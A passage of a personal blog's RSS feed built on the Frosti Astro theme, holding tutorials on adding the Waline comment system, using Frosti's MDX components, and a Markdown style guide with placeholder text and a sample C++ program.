&lt;p&gt;&lt;a href=&quot;https://waline.js.org/&quot;&gt;Waline&lt;/a&gt; is a simple, safe, and feature-rich comment system with backend and frontend separation. It is highly customizable and easy to set up.&lt;/p&gt;
&lt;h3&gt;Step 1: Set Up Waline Backend&lt;/h3&gt;
&lt;p&gt;Before adding Waline to your site, you need to set up the backend:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a LeanCloud application to store your comments.&lt;/li&gt;
&lt;li&gt;Deploy the Waline server to Vercel or another hosting platform.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Follow the &lt;a href=&quot;https://waline.js.org/guide/get-started/&quot;&gt;official Waline guide&lt;/a&gt; to set up your backend service. After deploying, you&amp;#39;ll get a server URL that you will need for the frontend component.&lt;/p&gt;
&lt;h3&gt;Step 2: Create the Waline Component&lt;/h3&gt;
&lt;p&gt;Let&amp;#39;s create a reusable Waline component:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;touch src/components/comments/Waline.astro
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add the following code to this component:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
interface Props {
  serverURL: string;
  lang?: string;
  dark?: string;
  emoji?: string[];
  meta?: string[];
  requiredMeta?: string[];
  reaction?: boolean;
  pageview?: boolean;
}

const {
  serverURL,
  lang = &amp;quot;en&amp;quot;,
  dark = &amp;quot;html[data-theme-type=&amp;#39;dark&amp;#39;]&amp;quot;,
  emoji = [&amp;quot;https://unpkg.com/@waline/emojis@1.1.0/weibo&amp;quot;, &amp;quot;https://unpkg.com/@waline/emojis@1.1.0/bilibili&amp;quot;],
  meta = [&amp;quot;nick&amp;quot;, &amp;quot;mail&amp;quot;, &amp;quot;link&amp;quot;],
  requiredMeta = [],
  reaction = false,
  pageview = false,
} = Astro.props;
---

&amp;lt;div id=&amp;quot;waline-container&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;https://unpkg.com/@waline/client@v3/dist/waline.css&amp;quot; /&amp;gt;

&amp;lt;script
  type=&amp;quot;module&amp;quot;
  define:vars={{
    serverURL,
    lang,
    dark,
    emoji,
    meta,
    requiredMeta,
    reaction,
    pageview,
  }}
&amp;gt;
  import { init } from &amp;quot;https://unpkg.com/@waline/client@v3/dist/waline.js&amp;quot;;

  async function initWaline() {
    const container = document.querySelector(&amp;quot;#waline-container&amp;quot;);
    if (!container) return;

    init({
      el: &amp;quot;#waline-container&amp;quot;,
      serverURL,
      path: location.pathname,
      lang,
      dark,
      emoji,
      meta,
      requiredMeta,
      reaction,
      pageview,
    });
  }

  document.addEventListener(&amp;quot;astro:page-load&amp;quot;, () =&amp;gt; {
    initWaline();
  });

  if (document.readyState !== &amp;quot;loading&amp;quot;) {
    initWaline();
  } else {
    document.addEventListener(&amp;quot;DOMContentLoaded&amp;quot;, initWaline);
  }
&amp;lt;/script&amp;gt;

&amp;lt;style&amp;gt;
  #waline-container {
    margin-top: 2rem;
    margin-bottom: 2rem;
  }
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3: Using the Waline Component&lt;/h3&gt;
&lt;p&gt;You can now use the Waline component in your Astro pages or layouts. Here&amp;#39;s how to add it to your blog post template:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// In your blog post layout file
import Waline from &amp;quot;../../components/comments/Waline.astro&amp;quot;;
// Other imports and frontmatter...
---

&amp;lt;!-- Your blog post content --&amp;gt;
&amp;lt;article&amp;gt;
  &amp;lt;slot /&amp;gt;
&amp;lt;/article&amp;gt;

&amp;lt;!-- Add the comment section --&amp;gt;
&amp;lt;section class=&amp;quot;comments&amp;quot;&amp;gt;
  &amp;lt;h2&amp;gt;Comments&amp;lt;/h2&amp;gt;
  &amp;lt;Waline serverURL=&amp;quot;https://your-waline-server.vercel.app&amp;quot; /&amp;gt;
&amp;lt;/section&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;&amp;quot;https://your-waline-server.vercel.app&amp;quot;&lt;/code&gt; with your actual Waline server URL.&lt;/p&gt;
&lt;h2&gt;Troubleshooting&lt;/h2&gt;
&lt;h3&gt;Common Issues&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Comments not displaying:&lt;/strong&gt; Make sure your &lt;code&gt;serverURL&lt;/code&gt; is correctly set and accessible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSS issues:&lt;/strong&gt; Ensure that the Waline stylesheet is properly loaded.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deployment issues:&lt;/strong&gt; If your server is on Vercel, check the environment variables and deployment logs.&lt;/li&gt;
&lt;/ul&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;http://pinesawfly.top/blog/adding-comment-systems/&quot;&gt;http://pinesawfly.top/blog/adding-comment-systems/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>pine的个人博客</dc:creator><pubDate>Mon, 14 Apr 2025 16:00:00 GMT</pubDate></item><item><title>Using mdx in Frosti</title><link>http://pinesawfly.top/blog/frosti-mdx/</link><guid isPermaLink="true">http://pinesawfly.top/blog/frosti-mdx/</guid><description>Using MDX in Frosti to enrich article content with more components</description><content:encoded>&lt;p&gt;import Collapse from &amp;quot;../../components/mdx/Collapse.astro&amp;quot;;
import Diff from &amp;quot;../../components/mdx/Diff.astro&amp;quot;;
import Error from &amp;quot;../../components/mdx/Error.astro&amp;quot;;
import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Kbd from &amp;quot;../../components/mdx/Kbd.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import TimeLine from &amp;quot;../../components/mdx/TimeLine.astro&amp;quot;;
import LinkCard from &amp;quot;../../components/mdx/LinkCard.astro&amp;quot;;&lt;/p&gt;
&lt;h2&gt;Preface&lt;/h2&gt;
&lt;p&gt;This article describes how to use the components provided by Frosti in &lt;code&gt;mdx&lt;/code&gt; to realize the functions that can&amp;#39;t be realized by normal &lt;code&gt;md&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Main text&lt;/h2&gt;
&lt;h3&gt;Getting started&lt;/h3&gt;
&lt;p&gt;First you need to create an &lt;code&gt;mdx&lt;/code&gt; file, which is as simple as changing the extension to &lt;code&gt;.mdx&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Introducing&lt;/h3&gt;
&lt;p&gt;The components provided by Frosti are placed in the &lt;code&gt;/mdx&lt;/code&gt; folders. Write something under the document properties (frontmatter):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;import Collapse from &amp;quot;../../components/mdx/Collapse.astro&amp;quot;;
import Diff from &amp;quot;../../components/mdx/Diff.astro&amp;quot;;
import Error from &amp;quot;../../components/mdx/Error.astro&amp;quot;;
import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Kbd from &amp;quot;../../components/mdx/Kbd.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import TimeLine from &amp;quot;../../components/mdx/TimeLine.astro&amp;quot;;
import LinkCard from &amp;quot;../../components/mdx/LinkCard.astro&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Example&lt;/h3&gt;
&lt;h4&gt;Collapse&lt;/h4&gt;
&lt;Collapse title=&quot;This is an example text.&quot;&gt;
  This is the hidden content!
&lt;/Collapse&gt;

&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;lt;Collapse title=&amp;quot;This is an example text.&amp;quot;&amp;gt;
  This is the hidden content!
&amp;lt;/Collapse&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Diff&lt;/h4&gt;
&lt;Diff l=&quot;http://pinesawfly.top/image/l.png&quot; r=&quot;http://pinesawfly.top/image/r.png&quot; /&gt;

&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;lt;Diff l=&amp;quot;/image/l.png&amp;quot; r=&amp;quot;/image/r.png&amp;quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Error&lt;/h4&gt;
&lt;p&gt;&lt;Error&gt;Maybe something went wrong?&lt;/Error&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;lt;Error&amp;gt;Maybe something went wrong? &amp;lt;/Error&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Warning&lt;/h4&gt;
&lt;p&gt;&lt;Warning&gt;Hey! Watch out for potholes! &lt;/Warning&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;lt;Warning&amp;gt;Hey! Watch out for potholes! &amp;lt;/Warning&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Message&lt;/h4&gt;
&lt;p&gt;&lt;Info&gt;It&amp;#39;s just a message. &lt;/Info&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;lt;Info&amp;gt;It&amp;#39;s just a message. &amp;lt;/Info&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Success&lt;/h4&gt;
&lt;p&gt;&lt;Success&gt;Congratulations on your successful deployment! &lt;/Success&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;lt;Success&amp;gt;Congratulations on your successful deployment! &amp;lt;/Success&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Kbd&lt;/h4&gt;
&lt;p&gt;&lt;Kbd&gt;Ctrl&lt;/Kbd&gt; + &lt;Kbd&gt;C&lt;/Kbd&gt; to copy the text.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;lt;Kbd&amp;gt;Ctrl&amp;lt;/Kbd&amp;gt; + &amp;lt;Kbd&amp;gt;C&amp;lt;/Kbd&amp;gt; to copy the text.
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;TimeLine&lt;/h4&gt;
&lt;p&gt;&amp;lt;TimeLine
  items={[
    { year: &amp;quot;1984&amp;quot;, event: &amp;quot;First Macintosh computer&amp;quot; },
    { year: &amp;quot;1998&amp;quot;, event: &amp;quot;iMac&amp;quot; },
    { year: &amp;quot;2001&amp;quot;, event: &amp;quot;iPod&amp;quot; },
    { year: &amp;quot;2007&amp;quot;, event: &amp;quot;iPhone&amp;quot; },
    { year: &amp;quot;2015&amp;quot;, event: &amp;quot;Apple Watch&amp;quot; },
  ]}
/&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;lt;TimeLine
  items={[
    { year: &amp;quot;1984&amp;quot;, event: &amp;quot;First Macintosh computer&amp;quot; },
    { year: &amp;quot;1998&amp;quot;, event: &amp;quot;iMac&amp;quot; },
    { year: &amp;quot;2001&amp;quot;, event: &amp;quot;iPod&amp;quot; },
    { year: &amp;quot;2007&amp;quot;, event: &amp;quot;iPhone&amp;quot; },
    { year: &amp;quot;2015&amp;quot;, event: &amp;quot;Apple Watch&amp;quot; },
  ]}
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;LinkCard&lt;/h4&gt;
&lt;p&gt;&lt;LinkCard
  title=&quot;Frosti&quot;
  desc=&quot;My blog project!&quot;
  url=&quot;https://github.com/EveSunMaple/Frosti&quot;
  img=&quot;http://pinesawfly.top/logo.png&quot;
/&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;lt;LinkCard
  title=&amp;quot;Frosti&amp;quot;
  desc=&amp;quot;My blog project!&amp;quot;
  url=&amp;quot;https://github.com/EveSunMaple/Frosti&amp;quot;
  img=&amp;quot;/logo.png&amp;quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;http://pinesawfly.top/blog/frosti-mdx/&quot;&gt;http://pinesawfly.top/blog/frosti-mdx/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>pine的个人博客</dc:creator><pubDate>Thu, 11 Jul 2024 16:00:00 GMT</pubDate></item><item><title>Markdown Style Guide</title><link>http://pinesawfly.top/blog/markdown-style-guide/</link><guid isPermaLink="true">http://pinesawfly.top/blog/markdown-style-guide/</guid><description>Here is a sample of some basic Markdown syntax that can be used when writing Markdown content in Astro.</description><content:encoded>&lt;p&gt;Here is a sample of some basic Markdown syntax that can be used when writing Markdown content in Astro.&lt;/p&gt;
&lt;h2&gt;Headings&lt;/h2&gt;
&lt;p&gt;The following HTML &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;—&lt;code&gt;&amp;lt;h6&amp;gt;&lt;/code&gt; elements represent six levels of section headings. &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; is the highest section level while &lt;code&gt;&amp;lt;h6&amp;gt;&lt;/code&gt; is the lowest.&lt;/p&gt;
&lt;h1&gt;H1&lt;/h1&gt;
&lt;h2&gt;H2&lt;/h2&gt;
&lt;h3&gt;H3&lt;/h3&gt;
&lt;h4&gt;H4&lt;/h4&gt;
&lt;h5&gt;H5&lt;/h5&gt;
&lt;h6&gt;H6&lt;/h6&gt;
&lt;h2&gt;Paragraph&lt;/h2&gt;
&lt;p&gt;Xerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum que nis nust voloribus ratem aut omnimi, sitatur? Quiatem. Nam, omnis sum am facea corem alique molestrunt et eos evelece arcillit ut aut eos eos nus, sin conecerem erum fuga. Ri oditatquam, ad quibus unda veliamenimin cusam et facea ipsamus es exerum sitate dolores editium rerore eost, temped molorro ratiae volorro te reribus dolorer sperchicium faceata tiustia prat.&lt;/p&gt;
&lt;p&gt;Itatur? Quiatae cullecum rem ent aut odis in re eossequodi nonsequ idebis ne sapicia is sinveli squiatum, core et que aut hariosam ex eat.&lt;/p&gt;
&lt;h2&gt;Images&lt;/h2&gt;
&lt;h4&gt;Syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;![Alt text](./full/or/relative/path/of/image)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Output&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;http://pinesawfly.top/logo.png&quot; alt=&quot;blog placeholder&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Blockquotes&lt;/h2&gt;
&lt;p&gt;The blockquote element represents content that is quoted from another source, optionally with a citation which must be within a &lt;code&gt;footer&lt;/code&gt; or &lt;code&gt;cite&lt;/code&gt; element, and optionally with in-line changes such as annotations and abbreviations.&lt;/p&gt;
&lt;h3&gt;Blockquote without attribution&lt;/h3&gt;
&lt;h4&gt;Syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;&amp;gt; Tiam, ad mint andaepu dandae nostion secatur sequo quae.
&amp;gt; **Note** that you can use _Markdown syntax_ within a blockquote.
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Output&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;Tiam, ad mint andaepu dandae nostion secatur sequo quae.
&lt;strong&gt;Note&lt;/strong&gt; that you can use &lt;em&gt;Markdown syntax&lt;/em&gt; within a blockquote.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Blockquote with attribution&lt;/h3&gt;
&lt;h4&gt;Syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;&amp;gt; Don&amp;#39;t communicate by sharing memory, share memory by communicating.&amp;lt;br&amp;gt;
&amp;gt; — &amp;lt;cite&amp;gt;Rob Pike[^1]&amp;lt;/cite&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Output&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;Don&amp;#39;t communicate by sharing memory, share memory by communicating.&lt;br&gt;
— &lt;cite&gt;Rob Pike[^1]&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;[^1]: The above quote is excerpted from Rob Pike&amp;#39;s &lt;a href=&quot;https://www.youtube.com/watch?v=PAAkCSZUG1c&quot;&gt;talk&lt;/a&gt; during Gopherfest, November 18, 2015.&lt;/p&gt;
&lt;h2&gt;Tables&lt;/h2&gt;
&lt;h4&gt;Syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;| Italics   | Bold     | Code   |
| --------- | -------- | ------ |
| _italics_ | **bold** | `code` |
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Output&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Italics&lt;/th&gt;
&lt;th&gt;Bold&lt;/th&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;em&gt;italics&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;bold&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;code&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;Code Blocks&lt;/h2&gt;
&lt;h4&gt;Syntax&lt;/h4&gt;
&lt;p&gt;we can use 3 backticks ``` in new line and write snippet and close with 3 backticks on new line and to highlight language specific syntac, write one word of language name after first 3 backticks, for eg. html, javascript, css, markdown, typescript, txt, bash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;```cpp
#include &amp;lt;bits/stdc++.h&amp;gt;
using namespace std;
const int N = 1e5 + 5;
int n, k, a[N];
long long ans;
vector&amp;lt;int&amp;gt; v[N];
int main()
{
    scanf(&amp;quot;%d%d&amp;quot;, &amp;amp;n, &amp;amp;k);
    for (int i = 1; i &amp;lt;= n; i++)
    {
        scanf(&amp;quot;%d&amp;quot;, &amp;amp;a[i]);
        v[i % k].push_back(a[i]);
    }
    for (int i = 0; i &amp;lt; k; i++)
        sort(v[i].rbegin(), v[i].rend());
    for (int i = 0; i &amp;lt; k; i++)
    {
        for (int j = 0; j + 1 &amp;lt; v[i].size(); j += 2)
        {
            ans += v[i][j] + v[i][j + 1];
        }
    }
    printf(&amp;quot;%lld\n&amp;quot;, ans);
    return 0;
}
```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;bits/stdc++.h&amp;gt;
using namespace std;
const int N = 1e5 + 5;
int n, k, a[N];
long long ans;
vector&amp;lt;int&amp;gt; v[N];
int main()
{
    scanf(&amp;quot;%d%d&amp;quot;, &amp;amp;n, &amp;amp;k);
    for (int i = 1; i &amp;lt;= n; i++)
    {
        scanf(&amp;quot;%d&amp;quot;, &amp;amp;a[i]);
        v[i % k].push_back(a[i]);
    }
    for (int i = 0; i &amp;lt; k; i++)
        sort(v[i].rbegin(), v[i].rend());
    for (int i = 0; i &amp;lt; k; i++)
    {
        for (int j = 0; j + 1 &amp;lt; v[i].size(); j += 2)
        {
            ans += v[i][j] + v[i][j + 1];
        }
    }
    printf(&amp;quot;%lld\n&amp;quot;, ans);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;List Types&lt;/h2&gt;
&lt;h3&gt;Ordered List&lt;/h3&gt;
&lt;h4&gt;Syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;1. First item
2. Second item
3. Third item
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Output&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;First item&lt;/li&gt;
&lt;li&gt;Second item&lt;/li&gt;
&lt;li&gt;Third item&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Unordered List&lt;/h3&gt;
&lt;h4&gt;Syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;- List item
- Another item
- And another item
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Output&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;List item&lt;/li&gt;
&lt;li&gt;Another item&lt;/li&gt;
&lt;li&gt;And another item&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Nested list&lt;/h3&gt;
&lt;h4&gt;Syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;- Fruit
  - Apple
  - Orange
  - Banana
- Dairy
  - Milk
  - Cheese
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Output&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Fruit&lt;ul&gt;
&lt;li&gt;Apple&lt;/li&gt;
&lt;li&gt;Orange&lt;/li&gt;
&lt;li&gt;Banana&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Dairy&lt;ul&gt;
&lt;li&gt;Milk&lt;/li&gt;
&lt;li&gt;Cheese&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Other Elements&lt;/h2&gt;
&lt;h4&gt;Syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;&amp;lt;abbr title=&amp;quot;Graphics Interchange Format&amp;quot;&amp;gt;GIF&amp;lt;/abbr&amp;gt; is a bitmap image format.

H&amp;lt;sub&amp;gt;2&amp;lt;/sub&amp;gt;O

X&amp;lt;sup&amp;gt;n&amp;lt;/sup&amp;gt; + Y&amp;lt;sup&amp;gt;n&amp;lt;/sup&amp;gt; = Z&amp;lt;sup&amp;gt;n&amp;lt;/sup&amp;gt;

Press &amp;lt;kbd&amp;gt;CTRL&amp;lt;/kbd&amp;gt;+&amp;lt;kbd&amp;gt;ALT&amp;lt;/kbd&amp;gt;+&amp;lt;kbd&amp;gt;Delete&amp;lt;/kbd&amp;gt; to end the session.

Most &amp;lt;mark&amp;gt;salamanders&amp;lt;/mark&amp;gt; are nocturnal, and hunt for insects, worms, and other small creatures.
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Output&lt;/h4&gt;
&lt;p&gt;&lt;abbr title=&quot;Graphics Interchange Format&quot;&gt;GIF&lt;/abbr&gt; is a bitmap image format.&lt;/p&gt;
&lt;p&gt;H&lt;sub&gt;2&lt;/sub&gt;O&lt;/p&gt;
&lt;p&gt;X&lt;sup&gt;n&lt;/sup&gt; + Y&lt;sup&gt;n&lt;/sup&gt; = Z&lt;sup&gt;n&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Press &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt; to end the session.&lt;/p&gt;
&lt;p&gt;Most &lt;mark&gt;salamanders&lt;/mark&gt; are nocturnal, and hunt for insects, worms, and other small creatures.&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;http://pinesawfly.top/blog/markdown-style-guide/&quot;&gt;http://pinesawfly.top/blog/markdown-style-guide/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>pine的个人博客</dc:creator><pubDate>Sun, 30 Jun 2024 16:00:00 GMT</pubDate></item><item><title>Using MDX</title><link>http://pinesawfly.top/blog/using-mdx/</link><guid isPermaLink="true">http://pinesawfly.top/blog/using-mdx/</guid><description>Lorem ipsum dolor sit amet</description><content:encoded>&lt;p&gt;This theme comes with the &lt;a href=&quot;https://docs.astro.build/en/guides/integrations-guide/mdx/&quot;&gt;@astrojs/mdx&lt;/a&gt; integration installed and configured in your &lt;code&gt;astro.config.mjs&lt;/code&gt; config file. If you prefer not to use MDX, you can disable support by removing the integration from your config file.&lt;/p&gt;
&lt;h2&gt;Why MDX?&lt;/h2&gt;
&lt;p&gt;MDX is a special flavor of Markdown that supports embedded JavaScript &amp;amp; JSX syntax. This unlocks the ability to &lt;a href=&quot;https://docs.astro.build/en/guides/markdown-content/#mdx-features&quot;&gt;mix JavaScript and UI Components into your Markdown content&lt;/a&gt; for things like interactive charts or alerts.&lt;/p&gt;
&lt;p&gt;If you have existing content authored in MDX, this integration will hopefully make migrating to Astro a breeze.&lt;/p&gt;
&lt;h2&gt;Example&lt;/h2&gt;
&lt;p&gt;Here is how you import and use a UI component inside of MDX.&lt;br&gt;When you open this page in the browser, you should see the clickable button below.&lt;/p&gt;
&lt;h2&gt;More Links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mdxjs.com/docs/what-is-mdx&quot;&gt;MDX Syntax Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/markdown-content/#markdown-and-mdx-pages&quot;&gt;Astro Usage Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;a href=&quot;https://docs.astro.build/en/reference/directives-reference/#client-directives&quot;&gt;Client Directives&lt;/a&gt; are still required to create interactive components. Otherwise, all components in your MDX will render as static HTML (no JavaScript) by default.&lt;/li&gt;
&lt;/ul&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;http://pinesawfly.top/blog/using-mdx/&quot;&gt;http://pinesawfly.top/blog/using-mdx/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>pine的个人博客</dc:creator><pubDate>Fri, 01 Jul 2022 16:00:00 GMT</pubDate></item></channel></rss>